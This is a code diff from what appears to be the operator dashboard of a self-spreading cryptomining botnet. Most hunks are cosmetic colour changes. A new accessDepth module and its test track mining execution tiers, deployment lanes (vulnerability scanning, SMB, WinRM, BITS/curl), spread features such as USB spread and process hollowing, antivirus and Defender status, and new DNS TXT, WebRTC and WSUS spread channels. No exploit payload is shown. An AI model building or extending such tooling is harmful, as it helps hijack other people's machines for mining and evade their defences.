<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
.syscheck-panel {
|
||||
margin-top: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 12, 24, 0.92);
|
||||
max-height: 72vh;
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
.syscheck-header h3 {
|
||||
margin: 0;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
color: var(--accent-cyan, #00e8f5);
|
||||
}
|
||||
|
||||
.syscheck-sub {
|
||||
@@ -78,7 +78,7 @@
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
.syscheck-score {
|
||||
color: #00f5ff;
|
||||
color: #00e8f5;
|
||||
font-weight: 600;
|
||||
}
|
||||
.syscheck-subhead {
|
||||
|
||||
@@ -24,7 +24,7 @@ function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
|
||||
|
||||
const LEVEL_COLORS: Record<number, string> = {
|
||||
4: '#39ff14', // neon green
|
||||
3: '#00f5ff', // cyan
|
||||
3: '#00e8f5', // cyan
|
||||
2: '#ffb020', // amber
|
||||
1: '#ff4466', // red
|
||||
0: '#444', // grey
|
||||
|
||||
@@ -42,6 +42,17 @@ describe('Recon badges', () => {
|
||||
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders new spread tier labels', () => {
|
||||
render(<JoinLaneBadge lane="dns_txt" />);
|
||||
expect(screen.getByText('DNS TXT')).toBeInTheDocument();
|
||||
cleanup();
|
||||
render(<JoinLaneBadge lane="webrtc_mesh" />);
|
||||
expect(screen.getByText('WebRTC mesh')).toBeInTheDocument();
|
||||
cleanup();
|
||||
render(<JoinLaneBadge lane="wsus_cache_peer" />);
|
||||
expect(screen.getByText('WSUS cache')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders docker lane label', () => {
|
||||
render(<JoinLaneBadge lane="docker" />);
|
||||
expect(screen.getByText('Docker')).toBeInTheDocument();
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow:
|
||||
0 4px 18px rgba(0, 0, 0, 0.55),
|
||||
0 0 1px rgba(0, 245, 255, 0.15);
|
||||
0 0 1px rgba(0, 232, 245, 0.15);
|
||||
pointer-events: auto;
|
||||
opacity: var(--deck-ambient-ui-opacity, 0.72);
|
||||
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
|
||||
@@ -22,10 +22,10 @@
|
||||
.global-music-player:hover,
|
||||
.global-music-player:focus-within {
|
||||
opacity: 1;
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
box-shadow:
|
||||
0 6px 22px rgba(0, 0, 0, 0.6),
|
||||
0 0 14px rgba(0, 245, 255, 0.12);
|
||||
0 0 14px rgba(0, 232, 245, 0.12);
|
||||
}
|
||||
|
||||
.global-music-player__play {
|
||||
@@ -35,10 +35,10 @@
|
||||
width: 1.75rem;
|
||||
height: 1.75rem;
|
||||
padding: 0;
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
border: 1px solid rgba(0, 232, 245, 0.3);
|
||||
border-radius: 2px;
|
||||
background: rgba(12, 18, 28, 0.9);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
@@ -49,8 +49,8 @@
|
||||
}
|
||||
|
||||
.global-music-player__play:hover {
|
||||
border-color: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
|
||||
border-color: var(--neon-cyan, #00e8f5);
|
||||
box-shadow: 0 0 10px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.global-music-player__vol {
|
||||
@@ -83,8 +83,8 @@
|
||||
height: 10px;
|
||||
margin-top: -3.5px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
|
||||
background: var(--neon-cyan, #00e8f5);
|
||||
box-shadow: 0 0 6px rgba(0, 232, 245, 0.4);
|
||||
}
|
||||
|
||||
.sr-only {
|
||||
|
||||
@@ -336,7 +336,7 @@ export default function Layout({ children }: LayoutProps) {
|
||||
)}
|
||||
<div className="sidebar-sig font-tech">
|
||||
<span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v0.0.1'}</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v1.0.0'}</span>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
.pool-preset-provider {
|
||||
font-size: 0.75rem;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
margin-bottom: 0.15rem;
|
||||
}
|
||||
|
||||
@@ -54,7 +54,7 @@
|
||||
.pool-preset-order {
|
||||
font-size: 0.82rem;
|
||||
padding: 0.5rem 0.65rem;
|
||||
border-left: 3px solid var(--neon-cyan, #0ff);
|
||||
border-left: 3px solid var(--neon-cyan, #00e8f5);
|
||||
background: rgba(0, 40, 50, 0.25);
|
||||
}
|
||||
|
||||
|
||||
@@ -33,7 +33,7 @@ const TOPOLOGY_NODE_CAP = 200;
|
||||
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
|
||||
const isOnline = agent.status === 'online';
|
||||
const isHashing = agent.hashrate_15m > 0;
|
||||
const color = isOnline ? (isHashing ? '#00f5ff' : '#00aa55') : '#ff4444';
|
||||
const color = isOnline ? (isHashing ? '#00e8f5' : '#00aa55') : '#ff4444';
|
||||
const pulseRef = useRef<THREE.Mesh>(null);
|
||||
const ringRef = useRef<THREE.Mesh>(null);
|
||||
|
||||
@@ -76,7 +76,7 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
|
||||
|
||||
{/* Laser Pulse simulating hashing packets */}
|
||||
{isOnline && isHashing && !isStale && (
|
||||
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00ffff" />
|
||||
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00e8f5" />
|
||||
)}
|
||||
</group>
|
||||
);
|
||||
@@ -106,7 +106,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
}, [displayAgents]);
|
||||
|
||||
return (
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 232, 245, 0.1)' }}>
|
||||
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
|
||||
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
|
||||
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
@@ -115,7 +115,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
|
||||
<color attach="background" args={['#050508']} />
|
||||
<ambientLight intensity={0.5} />
|
||||
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00f5ff" />
|
||||
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00e8f5" />
|
||||
<Stars radius={100} depth={50} count={3000} factor={3} saturation={0.5} fade speed={1} />
|
||||
|
||||
{/* Server Node (Mothership) */}
|
||||
|
||||
@@ -43,7 +43,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
if (Math.random() > 0.99 && shares.length > 0) {
|
||||
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||
ctx.fillStyle = share.accepted ? '#00e8f5' : '#ff4444';
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
ctx.fillStyle = '#0F0';
|
||||
} else {
|
||||
|
||||
@@ -29,7 +29,7 @@
|
||||
|
||||
.pipeline-step.pipeline-active {
|
||||
border-color: var(--neon-cyan);
|
||||
box-shadow: 0 0 20px rgba(0, 245, 255, 0.15);
|
||||
box-shadow: 0 0 20px rgba(0, 232, 245, 0.15);
|
||||
}
|
||||
|
||||
.pipeline-icon {
|
||||
@@ -255,7 +255,7 @@
|
||||
|
||||
.roadmap-low .roadmap-priority {
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid rgba(0, 245, 255, 0.35);
|
||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.guide-step-card {
|
||||
@@ -431,16 +431,16 @@
|
||||
font-family: var(--font-tech, monospace);
|
||||
letter-spacing: 0.06em;
|
||||
padding: 0.15rem 0.45rem;
|
||||
background: rgba(0, 245, 255, 0.09);
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
background: rgba(0, 232, 245, 0.09);
|
||||
border: 1px solid rgba(0, 232, 245, 0.3);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.guide-code-copy:hover {
|
||||
background: rgba(0, 245, 255, 0.2);
|
||||
background: rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
/* Network topology ASCII diagram */
|
||||
@@ -487,7 +487,7 @@
|
||||
|
||||
/* Inline code links */
|
||||
.guide-link {
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
text-decoration: underline;
|
||||
text-underline-offset: 2px;
|
||||
}
|
||||
|
||||
@@ -378,7 +378,7 @@ describe('HashrateChart', () => {
|
||||
data={sample}
|
||||
displayMode="live"
|
||||
title="Fleet Hash"
|
||||
color="#00f5ff"
|
||||
color="#00e8f5"
|
||||
unit="H/s"
|
||||
/>
|
||||
);
|
||||
@@ -571,6 +571,7 @@ describe('FleetToolbar', () => {
|
||||
filters={filters}
|
||||
onChange={vi.fn()}
|
||||
selectedCount={2}
|
||||
selectedAgents={agents}
|
||||
onBulkAction={onBulk}
|
||||
bulkBusy={false}
|
||||
/>
|
||||
|
||||
64
server/web/src/help/accessDepth.test.ts
Normal file
64
server/web/src/help/accessDepth.test.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from './accessDepth';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
function agent(partial: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'x',
|
||||
name: 'n',
|
||||
wallet: '',
|
||||
ip: '1.1.1.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('parseAccessDepthServerPolicy', () => {
|
||||
it('reads lotl_onion_tiers and triple onion from config', () => {
|
||||
const p = parseAccessDepthServerPolicy({
|
||||
server: {
|
||||
lotl_onion_tiers: ['docker', 'smb'],
|
||||
triple_onion_policy: { recon_tiers: ['a'], deploy_lanes: ['b'] },
|
||||
},
|
||||
});
|
||||
expect(p.lotl_onion_tiers).toEqual(['docker', 'smb']);
|
||||
expect(p.triple_onion?.recon_tiers).toEqual(['a']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel pending chain', () => {
|
||||
it('marks skipped tiers and pending remainder', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
agent({ platform: 'windows' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['a', 'b', 'c'],
|
||||
tier_chain_skipped: ['a'],
|
||||
lotl_attempts: [{ tier: 'b', ok: false, error: 'nope' }],
|
||||
}),
|
||||
);
|
||||
expect(model.pendingTiers).toEqual(['c']);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'a')?.status).toBe('skipped');
|
||||
expect(model.failed).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
361
server/web/src/help/accessDepth.ts
Normal file
361
server/web/src/help/accessDepth.ts
Normal file
@@ -0,0 +1,361 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
import type { Agent } from '../types';
|
||||
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Mirrors agent/miner/environment_probe.go */
|
||||
export interface EnvironmentProbes {
|
||||
docker?: boolean;
|
||||
wsl?: boolean;
|
||||
pwsh?: boolean;
|
||||
dotnet?: boolean;
|
||||
gpu?: boolean;
|
||||
av_blocks_exe?: boolean;
|
||||
webview2?: boolean;
|
||||
}
|
||||
|
||||
export interface AccessDepthDiagnostics {
|
||||
environment_probes?: EnvironmentProbes;
|
||||
tier_chain_order?: string[];
|
||||
tier_chain_skipped?: string[];
|
||||
lotl_tier?: string;
|
||||
lotl_attempts?: TierAttempt[];
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
}
|
||||
|
||||
export interface AccessDepthServerPolicy {
|
||||
lotl_onion_tiers?: string[];
|
||||
mining_tier_order?: string[];
|
||||
mining_skip_tiers?: string[];
|
||||
triple_onion?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
}
|
||||
|
||||
export interface ProbeChip {
|
||||
key: string;
|
||||
label: string;
|
||||
ok: boolean;
|
||||
}
|
||||
|
||||
export interface AccessDepthAttemptRow {
|
||||
tier: string;
|
||||
label: string;
|
||||
ok: boolean;
|
||||
error?: string;
|
||||
phase?: string;
|
||||
}
|
||||
|
||||
export interface OnionTierRow {
|
||||
index: number;
|
||||
tier: string;
|
||||
label: string;
|
||||
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
|
||||
}
|
||||
|
||||
export interface AccessDepthModel {
|
||||
platformLabel: string;
|
||||
osLine: string;
|
||||
probes: ProbeChip[];
|
||||
spreadCaps: string[];
|
||||
privilegeHints: string[];
|
||||
activeTier?: string;
|
||||
activeTierLabel?: string;
|
||||
joinLane?: string;
|
||||
succeeded: AccessDepthAttemptRow[];
|
||||
failed: AccessDepthAttemptRow[];
|
||||
inProgressTier?: string;
|
||||
inProgressLabel?: string;
|
||||
pendingTiers: string[];
|
||||
pendingLabels: string[];
|
||||
miningOnion: OnionTierRow[];
|
||||
spreadOnion: OnionTierRow[];
|
||||
tripleOnionSummary?: string;
|
||||
miningOrderSource: 'agent' | 'server' | 'default';
|
||||
}
|
||||
|
||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||
export const DEFAULT_MINING_TIER_ORDER = [
|
||||
'exe_subprocess',
|
||||
'docker_load',
|
||||
'container',
|
||||
'wsl',
|
||||
'ps_inmemory',
|
||||
'cpu_inprocess',
|
||||
'gpu_subprocess',
|
||||
'stratum_direct',
|
||||
] as const;
|
||||
|
||||
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
||||
const DEFAULT_TRIPLE_DEPLOY = [
|
||||
'discover_and_join',
|
||||
'docker',
|
||||
'wsl',
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'smb',
|
||||
'winrm',
|
||||
];
|
||||
|
||||
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const probes: EnvironmentProbes = {};
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
||||
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
||||
}
|
||||
return Object.keys(probes).length > 0 ? probes : undefined;
|
||||
}
|
||||
|
||||
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
|
||||
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
|
||||
const tier_chain_order = Array.isArray(raw.tier_chain_order)
|
||||
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
|
||||
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const lotl_tier =
|
||||
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
|
||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||
undefined;
|
||||
|
||||
return {
|
||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
||||
lotl_tier,
|
||||
lotl_attempts: attempts.length ? attempts : undefined,
|
||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
||||
};
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('win')) return 'Windows';
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
if (p.includes('linux')) return 'Linux';
|
||||
return platform?.trim() || 'Unknown';
|
||||
}
|
||||
|
||||
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
||||
const p = probes ?? {};
|
||||
const chips: ProbeChip[] = [
|
||||
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
||||
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
|
||||
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
|
||||
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
|
||||
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
|
||||
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
|
||||
];
|
||||
if (p.av_blocks_exe === true) {
|
||||
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
|
||||
}
|
||||
return chips.filter((c) => c.ok || probes != null);
|
||||
}
|
||||
|
||||
function spreadCapabilities(agent: Agent): string[] {
|
||||
const caps = agent.capabilities;
|
||||
const out: string[] = [];
|
||||
if (caps?.auto_spread) out.push('auto_spread');
|
||||
if (caps?.mesh_p2p) out.push('mesh_p2p');
|
||||
if (caps?.hole_punch) out.push('hole_punch');
|
||||
if (caps?.process_hollowing) out.push('process_hollowing');
|
||||
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
|
||||
if (caps?.remote_aggressive) out.push('remote_aggressive');
|
||||
return out;
|
||||
}
|
||||
|
||||
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
|
||||
const hints: string[] = [];
|
||||
if (agent.agent_elevated === true) hints.push('elevated');
|
||||
else if (agent.agent_elevated === false) hints.push('standard user');
|
||||
if (agent.defender_rtp === true) hints.push('Defender RTP on');
|
||||
else if (agent.defender_enabled === true) hints.push('Defender on');
|
||||
if (agent.ssh_available === true) hints.push('SSH reachable');
|
||||
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
|
||||
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
|
||||
return hints;
|
||||
}
|
||||
|
||||
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
|
||||
return attempts.map((a) => ({
|
||||
tier: a.tier,
|
||||
label: formatLotlTierLabel(a.tier),
|
||||
ok: a.ok,
|
||||
error: a.error,
|
||||
phase: a.phase,
|
||||
}));
|
||||
}
|
||||
|
||||
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
|
||||
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
|
||||
}
|
||||
|
||||
function resolveMiningOrder(
|
||||
diag: AccessDepthDiagnostics | undefined,
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
|
||||
if (diag?.tier_chain_order?.length) {
|
||||
return {
|
||||
order: diag.tier_chain_order,
|
||||
skipped: diag.tier_chain_skipped ?? [],
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
if (policy?.mining_tier_order?.length) {
|
||||
return {
|
||||
order: policy.mining_tier_order,
|
||||
skipped: policy.mining_skip_tiers ?? [],
|
||||
source: 'server',
|
||||
};
|
||||
}
|
||||
if (agent.chain_order?.length) {
|
||||
return {
|
||||
order: agent.chain_order,
|
||||
skipped: [],
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
return {
|
||||
order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
skipped: diag?.tier_chain_skipped ?? [],
|
||||
source: 'default',
|
||||
};
|
||||
}
|
||||
|
||||
function buildOnionRows(
|
||||
order: string[],
|
||||
skipped: string[],
|
||||
attempts: TierAttempt[],
|
||||
activeTier?: string,
|
||||
): OnionTierRow[] {
|
||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
||||
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
||||
const active = activeTier?.toLowerCase();
|
||||
|
||||
return order.map((tier, i) => {
|
||||
const key = tier.toLowerCase();
|
||||
let status: OnionTierRow['status'] = 'neutral';
|
||||
if (active && key === active) status = 'active';
|
||||
else if (skippedSet.has(key)) status = 'skipped';
|
||||
else if (okSet.has(key)) status = 'done';
|
||||
else if (failSet.has(key)) status = 'failed';
|
||||
else status = 'pending';
|
||||
|
||||
return {
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: formatLotlTierLabel(tier),
|
||||
status,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
function computePendingTiers(
|
||||
order: string[],
|
||||
skipped: string[],
|
||||
attempts: TierAttempt[],
|
||||
): string[] {
|
||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||
const touched = uniqueAttemptTiers(attempts);
|
||||
return order.filter((t) => {
|
||||
const key = t.toLowerCase();
|
||||
return !skippedSet.has(key) && !touched.has(key);
|
||||
});
|
||||
}
|
||||
|
||||
function detectInProgress(
|
||||
agent: Agent,
|
||||
attempts: TierAttempt[],
|
||||
pending: string[],
|
||||
activeTier?: string,
|
||||
): string | undefined {
|
||||
if (agent.status !== 'online') return undefined;
|
||||
if (activeTier) {
|
||||
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
|
||||
if (!lastForActive || !lastForActive.ok) return activeTier;
|
||||
}
|
||||
return pending[0];
|
||||
}
|
||||
|
||||
export function buildAccessDepthModel(
|
||||
agent: Agent,
|
||||
diagnostics?: AccessDepthDiagnostics,
|
||||
policy?: AccessDepthServerPolicy,
|
||||
): AccessDepthModel {
|
||||
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
||||
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
||||
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
||||
const pending = computePendingTiers(order, skipped, attempts);
|
||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||
|
||||
const spreadOrder =
|
||||
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
? policy.lotl_onion_tiers
|
||||
: [...DEFAULT_LOTL_ONION_TIERS];
|
||||
|
||||
const recon = policy?.triple_onion?.recon_tiers?.length
|
||||
? policy.triple_onion.recon_tiers
|
||||
: DEFAULT_TRIPLE_RECON;
|
||||
const deploy = policy?.triple_onion?.deploy_lanes?.length
|
||||
? policy.triple_onion.deploy_lanes
|
||||
: DEFAULT_TRIPLE_DEPLOY;
|
||||
|
||||
const osParts = [platformLabel(agent.platform)];
|
||||
if (agent.os_version) osParts.push(agent.os_version);
|
||||
if (agent.arch) osParts.push(agent.arch);
|
||||
|
||||
return {
|
||||
platformLabel: platformLabel(agent.platform),
|
||||
osLine: osParts.join(' · '),
|
||||
probes: probeChips(diagnostics?.environment_probes, agent),
|
||||
spreadCaps: spreadCapabilities(agent),
|
||||
privilegeHints: privilegeHints(agent, diagnostics),
|
||||
activeTier,
|
||||
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
|
||||
joinLane: agent.join_lane,
|
||||
succeeded: attemptRows(attempts.filter((a) => a.ok)),
|
||||
failed: attemptRows(attempts.filter((a) => !a.ok)),
|
||||
inProgressTier,
|
||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||
pendingTiers: pending,
|
||||
pendingLabels: pending.map(formatLotlTierLabel),
|
||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
|
||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: formatLotlTierLabel(tier),
|
||||
status: 'neutral' as const,
|
||||
})),
|
||||
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
||||
miningOrderSource: source,
|
||||
};
|
||||
}
|
||||
|
||||
export function parseAccessDepthServerPolicy(config: {
|
||||
server?: {
|
||||
lotl_onion_tiers?: string[];
|
||||
triple_onion_policy?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
};
|
||||
}): AccessDepthServerPolicy {
|
||||
const server = config.server;
|
||||
return {
|
||||
lotl_onion_tiers: server?.lotl_onion_tiers,
|
||||
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
triple_onion: server?.triple_onion_policy
|
||||
? {
|
||||
recon_tiers: server.triple_onion_policy.recon_tiers,
|
||||
deploy_lanes: server.triple_onion_policy.deploy_lanes,
|
||||
}
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
@@ -20,7 +20,8 @@ const HELP_TIP_FIELDS = [
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
|
||||
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
|
||||
'com_hijack_persist', 'linux_lotl_mode',
|
||||
'set_alerts', 'set_alert_notifications', 'set_webhook',
|
||||
] as const;
|
||||
|
||||
|
||||
@@ -69,6 +69,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
|
||||
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
|
||||
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
|
||||
